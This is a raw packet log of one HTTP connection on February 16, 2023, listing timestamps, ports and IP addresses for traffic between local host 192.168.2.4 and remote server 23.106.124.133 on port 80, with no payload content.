Feb 16, 2023 10:01:28.339085102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339113951 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339138031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339160919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339183092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339205980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339231014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339257002 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.339355946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.339355946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.339355946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460550070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460597992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460621119 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460645914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460675001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460700035 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460705042 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460726023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460755110 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460756063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460783958 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460812092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460813046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460843086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460871935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460872889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460902929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460917950 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460931063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460959911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.460971117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.460988045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461015940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461031914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461045980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461072922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461102009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461105108 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461128950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461150885 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461157084 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461185932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461194992 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461214066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461240053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461250067 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461266994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461294889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461302996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461322069 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461348057 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461360931 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461375952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461402893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461411953 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461431026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461460114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461468935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.461487055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.461523056 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.462953091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.513653994 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.514166117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514215946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514242887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514266014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514290094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514317036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514317989 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.514343023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514369011 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514394999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.514403105 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.514441013 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636296034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636352062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636380911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636406898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636432886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636454105 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636457920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636482954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636509895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636514902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636538982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636564016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636590004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636591911 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636619091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636641979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636646986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636673927 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636676073 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636704922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636730909 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636740923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636758089 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636785984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636786938 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636815071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636831045 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636845112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636872053 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636883974 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.636898994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636924982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636946917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636964083 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.636989117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637013912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637042046 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637047052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.637067080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637098074 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637121916 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637150049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637176037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.637176991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637208939 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.637209892 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637239933 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637263060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.637268066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.637307882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.641593933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.688591003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688663006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688684940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688740969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688766956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688795090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688816071 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.688821077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688848019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688868999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.688875914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688894987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.688905001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.688951015 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.759007931 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.762492895 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813163042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813219070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813246012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813272953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813302040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813329935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813360929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813390017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813386917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813421011 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813429117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813452959 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813456059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813483953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813508987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813517094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813548088 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813568115 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813577890 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813608885 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813620090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813640118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813672066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813683033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813703060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813735008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813746929 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813766003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813796997 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813807011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813828945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813860893 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813868999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813894033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813925982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813935041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.813957930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.813992023 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814002037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.814022064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814059019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814065933 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.814093113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814124107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814136028 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.814155102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814188004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814198971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.814219952 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814251900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814263105 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.814284086 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814316034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814325094 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.814347982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.814388037 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.816710949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.830638885 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.863507032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863550901 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863574982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863599062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863620996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863646030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863668919 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863692045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863712072 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.863713980 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863742113 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.863755941 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.863776922 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989053965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989139080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989162922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989186049 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989207983 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989229918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989252090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989276886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989300013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989312887 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989324093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989350080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989377975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989389896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989407063 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989437103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989439011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989464045 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989475965 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989494085 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989509106 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989522934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989548922 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989566088 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989577055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989604950 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989619970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989634037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989661932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989680052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989690065 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989718914 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989737034 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989747047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989773989 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989794970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989803076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989830971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989847898 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989860058 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989886999 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989906073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.989914894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989943027 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989969969 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.989995003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.990021944 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.990024090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.990047932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.990050077 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.990066051 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.990080118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.990108013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.990134954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.990134001 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.990178108 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.006431103 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038438082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038502932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038525105 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038547039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038568974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038593054 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038594007 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.038615942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038641930 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.038664103 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.164724112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164774895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164803028 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164828062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164839029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.164855957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164881945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164891958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.164910078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164916039 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.164937019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164967060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.164992094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165018082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165029049 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165045977 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165072918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165076971 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165102005 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165128946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165128946 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165155888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165168047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165183067 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165208101 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165222883 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165231943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165258884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165272951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165283918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165309906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165323019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165335894 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165365934 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165376902 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165393114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165417910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165440083 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165443897 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165471077 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165482998 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165498972 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165525913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165541887 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165554047 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165580988 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165594101 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165608883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165637016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165663004 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165663004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165690899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165704012 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165718079 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165745974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165756941 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165774107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165802956 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:29.165816069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:29.165832043 CET	80	49698	23.106.124.133	192.168.2.4
